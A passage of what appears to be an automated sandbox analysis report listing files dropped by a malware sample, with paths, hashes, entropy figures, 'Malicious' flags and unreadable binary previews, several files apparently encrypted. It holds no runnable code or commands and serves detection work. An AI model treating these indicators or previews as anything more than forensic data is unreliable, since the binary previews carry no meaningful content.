...1.5..#_.x..%...v......!.$..l.q.+......}....D..3I.8C.J....d.[.p;.'>(.\....D.?rJ........>.....,...{......Y.9]0...'...1K..Z.......v.>.\...3..Y..g..-.s..*.b........6..K'..-)..\|.a.PlNe....0..Ja.+.........?...s......R\|u..bG29..g......n3..uT.d....4...G.....@...Y.]e'.....82v.,..0X...Ze.....0......2.......h<`..]..}.S(.7....{.7z..Uq.v....C.pu.k...>.^{\....9L.rvm.L....vjq.%.....j..b\..{....,.BV..i....,....ty........{W....V...g..r_ZK..HH......w2...f.=.}.Y.VA.OB..P....V....j.d.(..e>...^...2...q...%P.`E..A/...B4...T.X....K(_...h/...\| .Utfa...`K(....L\^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\setup32.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	135031
Entropy (8bit):	7.998814774884225
Encrypted:	true
SSDEEP:	3072:2CkU2qXoGzyv/A1wEKo7e/z/JToFmugvWbSmtReHVxy5WJ8FqVQ:2CFjJao74z/JToFmk/eHYWpC
MD5:	0A974F4F4F75B9B18B7249195F2FBC61
SHA1:	BAAFFA056EF5E1D24D989BD17376AC338BC859AA
SHA-256:	9E95115926DAE21EE418D8B3CF06B28F2DC99A8ACC953A229D5A48852D1F60D6
SHA-512:	C310B2C8E2B1DE9CC583011B5D0B11AD22EC0FB2402074552D698E11D16DAC19F753A9A8C6A683D4604E8CF85553474066C29F11FDE37F27BDAC44273FEAB2E2
Malicious:	true
Preview:	<?xmln........9L...z...~.Fc.........Gca..dh#8.$WK.....[So....E..V#..b....?...U.N........,.:v.......\|?..05.-..I..$c..r.j!?..##...D......B>.-@&[z.o.....O4..._'=E.B..y.p...Q.Z..Y\I1..a.v.{<.M..C..@4.#R/......... .......<.x\|+2.>.tZ..Sn.%_......9mItay...(....D.y.J.....u'.J.mj.a..`....:w@......>.9...@r....^.,..7.... .."#..I.\h#....E...A..lg?.dx......U8:na8.=../...X..M.....k..........9.+....!h.F..../.c.<.>N.D.F...k..Jts.m.o...3r.0...?...........q.sL.......i%.._rG..c.R.....B<..O..T{.....jx.<(..7V.?V....Y../...@.Q.Qh....=.._v.vb....s...9.k..b9?..\....n..x....[.{..ub..2..w.\.,+.B.@.6N.P....tU\|:.....3....gJ..p...Q..(..Em.........]$.:...2.K.F4..+.......p .>....>...G..]....b.8..+N.%x...XD....{.n.'}.&.E.^p..;Q.r.;=.F.\|......D...../.X[...a.I`Q7.A.H.......^.V....jWU>...9.G?.h^....J......).#.e.s$.<.....){.aH.V4...C....A....-n...D..!.<#..1.r~).kDna.4.......(..CY(.m.....1$.;.L..../.j..j"...oC..j`..HR....t.>.g.8..)i\.$a.......!.. ..S..#.zN..r

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-3FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.799663583371111
Encrypted:	false
SSDEEP:	24:7Nz8w6CJZmOsMPTB6DEFTYK23be6Zn5N9EP7MflaecRoraObD:RHXsMbBo0YK0b7t5sDMflge9D
MD5:	BCCD1507DBB600932758902CA60EAB9F
SHA1:	9AC65C5002B8179FEF676400EDACB8A6BDCA61D2
SHA-256:	C238187A5FFC724CD11AE4A0C5BC66A2BC7BAE2E1A913F79E310F2F979104898
SHA-512:	83FE45632561BE827EB97E9271757197168A0A02632657EF85373EC51519DDB96330B359CD1D6C62D52E14A7ACB86C50043668EE0CF26258EEBAD6E90F890BAB
Malicious:	false
Preview:	1.1.9O%..%"Ou. .0..B.........H8<...9..@.........?m..pf....#,-.'\t;L..Gs...gWI..z...gw..(!.Kz.[J......>....s.h)........'&w.o.<...y.V.B6.!mz..PJh[Iy+mk...ZG..8<qc.2.>..3.v...>...Y...c..a...k..%.....U...v.t..9...>(6;...j.h..Y....dT...9...b......e.Y"..5:....\|..=Z#.\|....P.t..... ..u.......T...':'j...~e .....K)......4.p$V..o.'......@...9...O!....&6:..WA.i...ync...B.. .1G...#.wSs..k=....Z0Zo.....q.Yn...35..h....;.[......M..Sv...((.,....+t~..(I...g..&...]...D....{.....H..R....>f.i..n...+....j...%.F...b)Wv...l.2..l..hx.'.j.P....=..t.}...G}..7...V.`.....CPP....p.8.....)y...z.`'.H..2.....$.......k..e.+I..}..v.}Q.M.8q.$..3[(j`XF......v.c.V@27.G..S-.u...2..M....!.d..~..K0q.8<.....E48.X{(rM.v@#....."D....94.8.2..y......AN.....X....-r,.....89........~..9@.O.f.......a.].....R..!( d.Y#d.;.#...%...yd ...l....Q......G.p.t..j.=.@9..!@;...$..v!.3"..6....0..o.l#..k........7.K..M....Al....m.q1....z......Z.E.N.#..."x2.\........Ay..p..1..zEM2mw..1j....J."*.2"...\|.Gd,W.

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	7.811899915732415
Encrypted:	false
SSDEEP:	24:pJQtg4fG7KK5F/bdA/yf40bXLI82JfeRq0pmIBMv8zIObD:b9+G75pAx0rLz2JoqSmI8gD
MD5:	E097B6FB02BB44F92136EE79FB19F634
SHA1:	7829BB7BB135B700A55435831100D72CFCC55D81
SHA-256:	A4A2B617F257578F4B05E120686ABC6DC6FF7D9899044F0AB314581F2B68E342
SHA-512:	50C016679B7CA08B02327977E5BC2F65146A8B901FE670B29012BCD4D5D888185D7018541F45EA3EAE8BB91841FEC7ACACA6DB0B484B776D0149E3A5D7C01336
Malicious:	false
Preview:	1.1.9.2.y..'"..y.j0-v...v.w......\\|......l.p.-.bh+.<..2.]K......A.."8Y.P...F.ac.E.3c..\$...Nm.A....@.T.....uu..2+lS...\,.\|6.N..!v...}h....e...]..0....C..Qw...P#wR.2.........RA.?./.X9<..y.p.........^....N......1.`,.Z(.K}..........z`........k.<..g.. #..C.....Et.(...;g.U...J.m.Os4v.&.t1....R......0..GD..Y.f...r..w...mm..O......S$.w...[._^...1\.Q.$..C\...f.y.7.#...(=e,M.m..%.\.\9i.x.K.S....\|.N.#..}'.."G....9.x../.&.J".1\.d.P..K...S........M...e..q.l.."}.. -....a.<..R.G........w...H@...7...j...n.n. ...%Q..0k.j....{k.].T.M..}w{......'.7....E..k)...D...V$b8N%/w.{.F..3...pT.7Kp..n......s...4......m.8-.FVjb.?.....J.<.....U.inM.....g.g....!Iz...e.o<...u..>..e).+.r0c.........us....8.]r...k.W...f...la17.2.x.....+h.....;.uZ...4>8...)n..]..<.~.x.....V.\|k+..$.n.`.#..`C&.i.Q.$9..B.\|x.q.W.....V.........R............6..W..B....YA.0.P..]..`.j.+.f.M.R3....Q.....w.\|..z.T.pd=T.E.v^..+.pr...-.U.]...)...t..pZ..B..p..#.x..._..O....=...H....;...U=

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	37198
Entropy (8bit):	7.994863378180018
Encrypted:	true
SSDEEP:	768:S77PhzjVgJfhnhWY7kMJG3kyr2f1MAQ1IgMcrX0M/B8lgZIrQVcfHVB:S77Ph/VgJfhcY7kbUNf1ZgMY/cAq
MD5:	1E1C6D47F516AE5DC2CF0B74B7883CA8
SHA1:	5D3B0C39555F1AF5290D2D4E9433895BC6DFECDC
SHA-256:	9D877D13391A866012F7D45E5240B1B4C227129626FBAB2D1E10D7B07B258EA8
SHA-512:	62596E968A80585868EF5F469345D697BE773CD4706EE9AEC3EBC42C06C66F0DEC6B6ED363B28388CBE5EF08BA14B45B4698DDBD5679C205CFB387E6D5615EAC
Malicious:	true
Preview:	SQLit...#.4.:j....0.s...-.A.0...6z8.p'..>A../..C...g=1.....~.u=h+...7.V[..Kd]x..... ..l...=...mK@.<...m.5....fk..x.T...1.%.L...0....g..d.....7k<.o.n.YdZ... j$....}...@."@.C$P...H....".6.X.$`..`..2r.U.........8...S...E..+3.......5!...........S.k.@V...s..Yx4..Z.Ue..3@.e..FS.......$b.:1..BbO..hG.-n......F....>..O..x....y.NP.i..^._s8.....dlo.kO.e.L.N...1-.&....=(R.=I7..7..+.c.m.O.'u+.Zr.>.A.CJ-.m........D..~c9...A;...x....f.[..k..f..)qG.},#......1.'...... ..p...q.}.......?......L.Vj......h..#..a...vQ..rB...y.7.o5....8.F.p.1.Y5.6..k4.........T=..s..(-....B,.........cs.D..jj....k.h..i.....}._9...+.....a>..X....o.$..O....&.....7....4./.[..}!.......w..I...3W.'.ShUc.......1tzK.T.b.?..0..,..j..<.FKK....G.V..7...3.v%.,:.?...W....ko?A?.2...d~.Y..YN....\.>{.V.{2...$...c^...d;2.+.[#..`.........v.fN....M.r.m.YQ!9&n....F.x.e>Lo...Un...U...E.7....+Z:O...>.`...x.Ln....>..~~mYl...5q.....tHz.t..m...t.X.....?.)....H...s.l......*....$.DY...._.&.....r..&.I

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.session

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	20814
Entropy (8bit):	7.991888438925414
Encrypted:	true
SSDEEP:	384:yLGy6/FckAaoVmo/z7UY4HdIHZvZUFmJXoH9Qhn99CY4d+ZuP6jZXIVc/kWRane:hzmTVP7UY4Hd0WFmJ4H9QHKdeuPQXIP0
MD5:	7AF7D593BBD4F059BD4E4C0277F90AC8
SHA1:	ACC145C6AC317212C3588E9B7271A96C8A3E0D9C
SHA-256:	6A8719B12D96A67F4608E5786758F84290C1A9486780253D4C2645DA4145AC8C
SHA-512:	01C5F08204256213264410AD03CD3007D8E8E5CAE716A4E6B008E09EFD81175AE7EC6F54C9986FFBCCD745FC86A2F8779B13D8C52CA4CCB6C792C0CA8D9620CC
Malicious:	true
Preview:	SQLit.3.B..A......]........E.JD...$...R..e."..3...G.N...ih.H.i.......J...C2O;{...2.\.^.t...e.'.S)V....1L.$=9.js...J.....M..j]te.j.?..R@...)...yy..fh.{.V~0.6.p.Y....p.)T....(.#..us.W.....k&..._.{...k.!3...=..S.Z.T.#.3.`x.U..N6.hB^...D.=....y.h..K.....C...$..x.3..;.JCs.^......b\|.1..I./Y.P...M.T.....o&.....j......88._.pw..bzJ.k.w.q..:.V.4...D&.&.l.U.^_.....MN.~Q)2Yv~.y.@..q.D.B!.=...i./`.t..}/..9:.....b.3.R..... ....0.]l..,.@.b.8#>e.K...}....o8.?......]...'.k.?>4s..9./jmr#sd~......N..U..%.".r.....S.Zv..G.9\|n.~.q..z.b!&..q.]9...:.........D.#... l3..l.i....../...X..../.....,.(F.!`"..n.a.y.\|.....\&..Oc!/M.H6b.......Z.+.v.....R..SL.....H....}v.V...5........C..m{...V..).......x..t.M>. jf9..t..\.......{.c......A.........xK.KUX@..%...G4..B.D.^.F..;aUg...3r@o.6c.b.I.dfC.!..3.%.c...&....m.Q..&.B.+.@..mt..N....".j.E...Au..M.?.].......>.$..6...........$_..2(....D..a).M..o.q.T..b...'..C.5q.. e...x=fTy........ej..r..P.......+.../D..,......Y.

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992669715769112
Encrypted:	true
SSDEEP:	384:QwE5H3MC1hk5feOTlAk4RnrlUh9O8+8MCh+I4IRHRLHMP1A/mohGagZB:QwE5Hj1ofeOZKUa8bMClHRAdAFU
MD5:	83BD4EC76410E16FF3CDD1FABA164E00
SHA1:	3EEDDF47C81689B236D0C0B14F14FD7CB2162583
SHA-256:	6152160D3E4DA9C6F052CA1B4A3246386E7FE898B5DD4C9F8A48EE177313CC1A
SHA-512:	D0424872EBFAE12A9D5C042B2EB5E24BBA3605AC9E50C15F71B2D3C4355F1C0AF1E87A3DAD8C267B3887EDA9D28F10FC029DB4254D72AAD25A5E51058C7CFBA6
Malicious:	true
Preview:	SQLitpS..\|haPm.ep}R,...U".=_.......y..c..].......p...[.Op.$..HR.j.w..}N',@.......R=D....\|...).S/.`.u..3. .7...d..ge..?p.._m...]...........\.R.x..........P.._c. \.q.u\.........B..W.OD..U..\|..t..vk...D.6.\...V..;v.+......11).F.\}.....=..c..3...........O......^r..C.8MqL.Zb@S........f..b..\Y..-)@...r6r(,...4.r....$..G....b6VeM..q#....?./o..s.=,...EYN....e`,.e{%+#Hj.F..&<hP....q...u.,...J2.T'.....#..xM#5.}p%..#f..>..7..H...5->..a.,..:8-.c.(=3...s.....^.l...C.....a].mJ....-<.a\.J.fK5.Y...GG...0k.....(.%.&...3.,.~...q.7;@p.$..k...._..A.1..b.....)..D..t..z.......G$..CT......Q..&I{.;.P..f{...R.o.s.Er4.....@.<.5w:.....9S...OR@.7<.O\|..O..K~.$.....Q...4..S..8.....3.......'.p......`.> ~..]...>fe.&.G.t@I......"..`. .i.J.z:..b.....?&k;.?.......D.3.,.AG\|.........zH.........[w.Q,.w....O....qx...5.f..P-.~%I$...?.w..?.B{w....%......."6(...0..Gy..../9...y.m..w?..V.H..CW..uL1...`r.5..:....qd.M...Z..$.$.v....}.....$2.}..a%.M.......3,..6...`..*.d....@....W

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.9921836948501745
Encrypted:	true
SSDEEP:	384:zyMCVLEONvEnDSu1jnvDzhAV5Al9FIPtTOSElgVp5bJvQbsnYSI2OuFldU:zyRDSG2DziVyrFQ5hn/YonYSsum
MD5:	5E90AA5AD7000818BAD48F0D412316E2
SHA1:	7E46C4A884947107E423A9AACB0CD194519B048B
SHA-256:	0B4F473C56AD94BFDDFB1E7910C855C5054F449A7F7D2CA2FEBB2936C4DECD33
SHA-512:	DFFB197C5ACFDDE376AA50ADC2846053A245563337BC80D34FB271351F8087AE7E3A76904984743CE73011A83DB0DDE301810E3FE74E45A19AE45C18D4822159
Malicious:	true
Preview:	SQLit.M..z./h...........4...nkN....Rj......%3...'.O.....TZ.\[..h..8W.%.Z[..~3........qh~...(..a.\|x...C...jI.f.Y..b....l.l...9.e..@..0PyM...i.h.........p.b.@..M........T=..>.J.}..I......!....8J..g.`..<..Y....MH.L.........m....c/.R......$ r.!c?....d84a).;..~...5I.O.I.x.p/.._X.!.6..]#^.....x...oFf1{&.7..3.kTy.% ..D.0..3.9j#J.H..AV5."F.d..e.........\.5..Pf.....5_.2.j....V&hr..1#.e..GN...6...T8...l/m{o..&...:...]0..k..#.3..H.W#....\.63..y"..L.....=j..k.k:vXbN........[.1.TW.1..T..Xv......{.}.....p....y..8>..M.....D.<..d....."./..@.rD....GpXE..8p.q.0./...\......N$.?.s.....;. .._>=..b..J......mp...Z?..-...oO...ph^Ye_..w.H.(c.aW....UR...S......~.0....@.t..W.!..G6..k)+.@....q.S)5!....#VM.v..Yu._...................OA.%.y_.!>.:...>.gJ6....=.....\..S.k0...6......b..7..<CM/....M.N.....@......se..o...%a.%O..=u....v..U. .......p.@....\|KuRe..v.^:X.......v...&..>...%...K..?..YfW{$....n.2..>......5.{]n.]......Y.)._=dt.u.......o.^.k......(.r..Q.x5

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993189445648864
Encrypted:	true
SSDEEP:	768:K3IIAirEQojABpQmASzGKfzXOYt5KApxb+yFyyV54i2cBZgH:K3IUomAOGUeYt51pxSA159xBS
MD5:	11647823B8DAF51822B47BD32CB986FA
SHA1:	D060E006B0B8C2CE1AB136653A21016017DE46F4
SHA-256:	7EB5A6DB300C7AC56C6AB3F014CAA7A98D97B0C289E55C9AFF8F6995A224180B
SHA-512:	2BFEC849FAD3C95E0EE18787D2F76CE1ED08ADA4C50AE2FFA9D677AD65A09D77F5BC461386B97FFD4664FB55C7C28DD5A64C93160B26FD51DDE399F55E53035C
Malicious:	true
Preview:	SQLit.O.Ipk'......H.G.p.?.cJ..`.Zp.MF.u.6.V.......tPZ\.8...H.Tn.....a.z.]."A4..n.E\..Q./..%FM\|..5..M.G.r...b.;R..e.......E3.f..G..d...x..]".....[..U..T....Y..N..^.v..q.)..C..A%.N ..]W...A+F..:..,....+...[Y...?..b2....kX..Ky.[......y.(.....V3}..9S...w..1..p.....1..-"...l...2M..B..3i..cX.B;...3........'..@.&...&i(#W...J....&.$Jw.A.~Z...h.q.n@Q<._.#.I...#..M.'.P.L.5J,.~..^..d.)G.l..l..HT..w..8v...)5...W...Jq".4.X"..{Y.._.....2.L...K#...q.rN.2G.8k.........}..UY...n...D...s.....0.j..?.a..D...u.y.LY...W.....A..y......0.n4....#..u...8..I..[(....q.....V.D..'..a.X.Q..Xw...).y..)$..e{^pJ.'.8(.P.`2..m..mX5.J.q. .^R.rS..D<.I.y..X.....;..S...n.G..H......^E.x.....Q...}Q....TI...=...&...a..(o....V..u.;..\.(.QQ.X.....o....e~... .G..e/\|.i,......n........1.2..8..f..W......,vd.8MB/6(Z..k.......Z.a.(b.V.....OR..a/...I7C.7`....8......j..~WC`.^&hl0D.\..>.;y....R0Z.lD...l....~.W.TN3.3..5..4L...[..h -...2..N..<...b".z}b.gb..C51f.A.".KS.?T..d....t..X.....

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2023-10-04.0953.5356.1.odl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7042241125105766
Encrypted:	false
SSDEEP:	96:aUs7kN8mWH1ITwQwOoS6iEALmMung2oebQ:aUshITtwZS6LAXugZeb
MD5:	ABB98220C03CFB0C0705314680D570E7
SHA1:	7594F320E2C3CDFBF2301B92EB66AE7C1741AD6C
SHA-256:	D673CB2AFBB41D661E670EB11675F92D5035CF7113A09A638BD8D7A682022DE8
SHA-512:	C1CAAE266CC1511B5AD76F54E8B2CD18BACC87DE4ED1B9FDFFE93EDB293350D0EDB71CF28682041127BA89BAEB693E77D2EA5C3AC2B5EFB0980A9094EDE8C151
Malicious:	false
Preview:	EBFGOa1...c.......D.d{D.Z...I...5\|`.Y..jF.?W.:.dN......F7.}.X...c.W.f...DZXk,.@.U?.=.)d.{.\|@E.o.C....o....1a5.0.9.8.MN{....E....I...r.....u;.....L.:.U...(nGn...I.&.7...k.......js..<......s....{...l6..c.~F.....].....3.T.....7.......StOo..(]....'...i/t...X...2.....w...J..S.O...R.@....l.B..->{V(.B./BF2$XQ.h.......WU.hiCU..R.....D/.p....U.z.k..$...KDj.r.R......y...5 #{..M...@.a..FMc~h....!.%R).W...w.}....=.".....n.p...pW.Ud.[l8S....`.Z.u.".TZ....LYaW.c.K...e.Ho.(&W._.&.,.p.....e.QN.....B.l.M..........`.{#%b...r%&.Ef..]{...Q..$.....\|'xS...9i.xMp...).&.........0....2.o....?&}S$p..x.Z8m.59.0..x_X.P..W.+...rwD.....>..^9...d2....J.-.]D>..GI.d.#.2..!mx.H+..$?Ub.....H....[.Y3m..C..H...60...qyU.w`C..MV.^#z....jB.Fe.C.vn.J..(8....sY`.........:...4....d... .%H.........S1C.fKDy.U..~d\|..}P.....Y#..]....5.M..C.}.a...~..Nh..(....J...d(...f.1.2.H.....~b.....vr.....\|.Cp..,..i........c....p#...s....\|L.f]<.k.BfV..P..LI.....h.....q.y)..ig^.ns..y. +^d7.Y...

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2023-10-04.1052.6292.1.odl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7699424026596072
Encrypted:	false
SSDEEP:	96:PvSTL4bP6lXbTuJ7aUP8tGI7DwYXq6Trzh7L3f:PvSTs6BbTuJ7I7Dx7Trl7
MD5:	108BF3FB1DFE94E61B4A0E51526B1E16
SHA1:	63C5A58CF6149A788C00614EC12A597DFF4CFED5
SHA-256:	835A9516DA42ADEF64396D623B870EF29FE0D78AD01A82DA030BA485A2542E95
SHA-512:	80C088B496D49D986378F2214204F1827144884290E178837D4FEA55570CFB9FA1F8B4897415CD71EBBDEDEE15BA768103EC5E7EE5B2C5998BE25B92C6C7D812
Malicious:	false
Preview:	EBFGOQ......4O..5...?..."4..%ZH6.uk...%h$.;...z.q]........0........NX....C.w...)3._.I..&.u..{......n.ld.}.......\|...-`.w3..`o...fP....b...[...G$cs.........c..............&...M.S. ...b0...U.\.....}&@\..O.....f..'.t....&n..<...g.!KM...k@D..Kw..x.............a.s..v.4g..~...r<.].B...e.V.o./"..Vr.x./..R..S.E.%.W.kC..@=\.i..ICe...i.Hr...6 ...o....=.=........&.<.s..6P.E3..s}........~...P.s\|.......~.+....X...s..-..+.O.....9.~....4"....k.....}.. ...x....\|.@p._......b.......QB.......r$.$E.u"._{Uv..'.m.qW....E...'r.z....m(....G..~.HM...=6.,T...b .h...cYe...Nk......-zfo.T..}.UxW.z.@D...X....aQ...S2.h( . .....^...a.H.h....M4Xj.R....`.%.3..w.2...=.....3..&.@..\|n.........;9m..r..3.......b.....cg.5\..$.[..mD.9...). AN9....mt..F......Wi.(v}........R9.jG...~0I/...o^=.....~.}.51A....U5....h........}-U.....nZ......R,.....$~b]R>]aC..W)].9.QV..<..A..v..V.y.&.!4]..o.Z9....e....l.Uu.n.b,m.l.J.1..hp@i7.2......;...6f.`.W...s.!3....C>#..Hk.)......S..p>...w-

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\telemetry-dll-ramp-value.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	344
Entropy (8bit):	7.2694546270928315
Encrypted:	false
SSDEEP:	6:iGq+Wx3eUsSFkldtWfLo8emedHBjA6dwroYh2oxrCo9yuBscii96Z:iEUsRYo6eluQkoYhyuOcii9a
MD5:	CF42BC093B89115837AC9544F28831FD
SHA1:	A922B43535BB896877D076FF84AB919A93D0D624
SHA-256:	D1CD7DBFB958128C4186D19D5EA28B1E7843B4C6EC6BE6C18D07B06C996EAD6E
SHA-512:	3E5035E9D513BBCE2890C7F4373493D1B9655D18FBABCFE09ED0096B7FEE75677A8AA372BFA00AAB11D9CFFF9BFA7F933A378401B27542823B5F08481B2FDA01
Malicious:	false
Preview:	2..0,....%...J..N.:r..Xg..o.xt..m.6......u.(416.G....N.4..6A.t..o.....n.l.......%A&......`....y...{G...T.....V....j.........0.~.5D...j.....c....$.U....&W......&.{.h8...](....zN..^2.}..;.F......R..P#.?5..=.M...@...lp,.....F..=.......Y.>.....\|..]..l..!.....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1149.2948.1.odl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0417227653604353
Encrypted:	false
SSDEEP:	96:szAEuSNXTpH5MS5nw913gBadya5tKkLB5EnJgqOJbGLNs++qsu5vi:szTu8DpdM2koa5tKAWJgq0iLNeqsC
MD5:	1021EE40DEF473FBEB00CD4BCB1C05DE
SHA1:	C4F53DA26C5E71454B1C915A194268DBC126B255
SHA-256:	1887BB804E80BFB5071FBD0473561C823363FC469FC507E02C688AA24424AAF8
SHA-512:	2BC4E5539907D68844B8D6D34AFF5202B06388FA7490AAB3833A357A2619896E498A2C4F5F1001E965F851401A93018A601FF18DFA2C1A5F5F7A935230D90BCF
Malicious:	false
Preview:	EBFGOYcT.]@.M.~.j.. x..T6..L......+..I..i....._r..,\.1;n.GN\|.d.........y.._..?...%..P.....a....F@lT.Z.....N.).G.OI.I..g..~.A..u{._........5&_.....lPM4..Z.../.G;..?.5]..O.d.....=...U.A.....%R>;;.2zr.\|..Ka.....S[>....Q.-1.]..j.G.Z.....-.....J..:.]...m..@....y......9..@...(...M.zC....0..4gJ6..H..r..j 4.........2.Q7..]..oN.E..x...2....c...:G...I..T.$..p..`...Q...1.OL>...&..~....U..B7..B....UI8.2...s.%s..8. .4.{.....J.W=..~!U).A[.y...ie..R...3xJ.. H.I..`E.MZ.+.c...5...@.]....G...f%....{...Zm.U.H.....R..G]:f3.%....eEL.....Z..X{.....L?.%..8....v/i":.L?..e.&...i/.....f.24QR...Y..........F.....h;9G.l.....0.U7...=..j .`3.m..m.E.W.....\|..Z..K.........}.=..u...!..B...F(..%.....[w?\|.3.@L.aD9K.;d..~R.".....:..SML.s>..'.(I7.Pz.IEo.....}.TG.Y{.....HL.#.u....P.[q......-gk..>M.....y...e...GH.;...h.....P.J.....a.W.T.l?...b....C..D...{.., t\|...6$R.)L..@..D..uxY.WGq.%*...o....T+dYmJ...........5?..p.g....g.?v..L...#.Z.".km.....U...VH.......9l.m....Bg....t..^..G

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1150.4240.1.aodl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2778719473717979
Encrypted:	false
SSDEEP:	192:0bZfi7n4oW7S0Fe1gGuo94lhsI5GPyq4/1pwv12oUIh:0la7nGmJ1XujhsfPr49y8of
MD5:	D7D656A3D3EC70F7951F878A7CB05990
SHA1:	971DEA673F1CE45211EA58B76FBAD44EE6EF33E3
SHA-256:	BF5B1704AB381299B47214B9A27DF7B404AA80B2D6E26654B4C82B9D99060672
SHA-512:	E204522BCC415BF9CD08AF81C0DD52E267DB1B0750627E2D8771947D4CE73C900E8F4CBC549C42E37EA7F49C826901DF421B2FD1DC685D907265586042666152
Malicious:	false
Preview:	EBFGO8...o..%4..7(h.;..%...T...Y=..'\.......B3..#o...$m.46..o..$P.a..f.{..q.m.Y".R...(E.~.L....6. -.k...X./.O.s...8M'n..3.......h.R.k.r..v....4F....../K..1..h...T;.~$.m....%V.....Q....4.z..s..K,...^...W.+L.6.. .O1.....n...8-).........uH3..TO...D.....Z.P.H.k..."qu#.7..t.a..^z....Om..b7<o.)....:.z!..:.Y.n...m.[3..rl..4..d..}Kl.N.2P..r..1.j.j./..e..Z..p...Qy...@%...#p....K.XC.0s....!...]2$t.....a-_")u.g.f..62..M.....u.Z.......&!X\.l...}.sy.}j.9.1.....[...l..o.....)....F.`...o..4\|.kf?.'......"....o}.d...t.....k`..X4.......U.\...j....K.....=X.p...M...,9N...~R%^.L.j....I...-.p...Q. ...S........d.z.P1...O'A..........m..C. ..G{.......(T.D....lO..h/d...X..O...g1......[......."..Z..~J>n..;.,.w.e.p.e.*...........M.A......AC...$uG...+m....d..D7g..x.....-...m....L...2..Pxp.......I...g.Jr..F.....:R..d....8.5.,m......=.h....xri....X.'...n..0HT.E..'....'RI.........p.h?...TsS$!~K_.ba9...{;.... eQ7.3$4[%].xJU.Ur.e]F.....n.....2.b..H..C...O{G..G....GQ.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1150.4240.1.odl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.894675674326858
Encrypted:	false
SSDEEP:	384:qnTDh/MdW5VpYJ+Ap0xokWCeS6viINM//tFiMqt3cvuIQi:4TDZTJYJ+AphkWCkfgFiXcvuO
MD5:	3412E431DB635DBE4FFB96F3807BECB8
SHA1:	34AB8F8E9381C0EE9585DF6F448F8EAA5C7A1935
SHA-256:	5446E7C28F546C42C7F84BF0C62F18728436345671DFAB7A51D0C027D1508B01
SHA-512:	975FD4C8654CB452529235CA1A4F2B3E0530B79A139274BF908CF4D3FBEE641EB82D66152C3157273A533D78EC9343566859A7CF9779FAFD54FAE2761E7194B2
Malicious:	false
Preview:	EBFGO./..N...G2.pZ....0.h.R..].(...U.k.Rm.xu.2......'...a.l...!..Q..!.B..W..&...........1...7.....x.g.}.:..[. .R+H..[.J..a..iy:..@.......dG...q#.0Z....#.?..............=....`...f.....a.o.e.>.D%.J..Te)=.......y....b...k.6{.XIY...J..Yy......<.,..0...$..o./..6$lJ{......V...-15.Q.\|i...O....?../....F.UN..$......X]..p...HC;Mn...'....,i.J..=...US.{0.H...W....4u?..iI..u....+.x\../y.......r....+...n....T..m..%O.J..LH...A........xa.PI2..N.&....... ./.&..p..p?......$..sx....>v..9Y...M.z.(:u....H..D.O.e..c.\|.4.l....IU&...qD<.m^j......"...W12.,.1yRx..&.(.~.a.X..9..UZ...&......:...R[.....www.Y.&2.L-e8.....ky..u.?.n.l.y.[.r."yU..<7..p._.a...iM7.p.V.1...;.....g.d..9.......5e....:..W.p.@.P.MiF.f.o../Da.`O.`.TT-...".wE...O.F.?..P.3..(...O.j.}./.Sd?.8.@#/"Q$.,..z...Nr.E....2Pr...i.W\|o.J...)..!...7.5*8.[.....Q.b...xoB./.[...A.E.t..8a..M. ..V....G..r.6.qTQ2..4FT...."i...+.a.?.g..._..B...R..gDz...b.2.....`.2...Ml......8.....A)...'r....-.".T.6..~..2...B.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1149.344.1.aodl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
